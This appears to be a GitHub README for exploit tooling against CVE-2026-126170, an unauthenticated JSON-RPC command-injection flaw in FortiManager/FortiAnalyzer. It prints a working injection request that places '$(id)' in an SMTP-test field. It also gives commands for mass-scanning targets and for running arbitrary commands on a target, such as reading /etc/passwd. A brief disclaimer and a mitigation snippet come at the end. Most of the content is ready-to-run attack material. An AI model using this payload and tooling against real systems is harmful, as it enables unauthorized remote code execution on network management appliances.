PoC and exploit scripts for CVE-2026-126170, an unauthenticated JSON-RPC injection RCE in FortiManager/FortiAnalyzer, with endpoint verification, command execution, and bulk scanning.
DISCLAIMER: This repository was created exclusively for educational and security research purposes. Using these tools against systems without prior express written authorization is illegal. The author is not responsible for any misuse of this material.
| Field | Detail |
|---|---|
| CVE | CVE-2026-126170 |
| Nickname | FortiManager-JSONRPC |
| Type | Unauthenticated JSON-RPC Injection |
| CVSS | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Component | /jsonrpc endpoint of FortiManager and FortiAnalyzer |
| Vectors | Crafted JSON-RPC requests without a session token |
| Authentication | Not required when JSON-RPC is enabled |
| Affects | FortiManager and FortiAnalyzer with rpc-permit enabled |
| Fixed | FortiManager 8.0.3+ |
| Disclosed | November 2026 |
When the JSON-RPC API is enabled on FortiManager/FortiAnalyzer
(config system global / set rpc-permit), the /jsonrpc endpoint
accepts requests without valid authentication. An attacker can inject
malicious data into JSON parameters to trigger privileged
functionality, including command execution on the operating system.
The vulnerability lies in the absence of input validation on parameter fields that are passed directly to internal functions without sanitization, allowing escape to the system shell.
POST /jsonrpc HTTP/1.1
Host: fortimanager.target.com
Content-Type: application/json
{
"id": 1,
"method": "exec",
"params": [{"url": "/sys/api/smtptest",
"data": {"server": "$(id)"}}],
"jsonrpc": "2.0"
}
# Check if /jsonrpc responds
python poc.py --target 192.168.1.10 --no-ssl-verify
# With HTTP instead of HTTPS
python poc.py --target 192.168.1.10 --no-ssl --port 80
# Mass scan
python poc.py --target fortimanager.company.com --targets-file targets.txt --output result.json
# Attempt remote execution (default command: id)
python exploit.py --target 192.168.1.10 --no-ssl-verify
# Custom command
python exploit.py --target 192.168.1.10 --cmd "whoami" --no-ssl-verify
# With system information gathering beforehand
python exploit.py --target 192.168.1.10 --info --cmd "cat /etc/passwd" --no-ssl-verify
# Disable JSON-RPC on FortiManager/FortiAnalyzer
config system global
set rpc-permit none
end
By Gh0st-Bx1 | https://github.com/Ghost-Bx1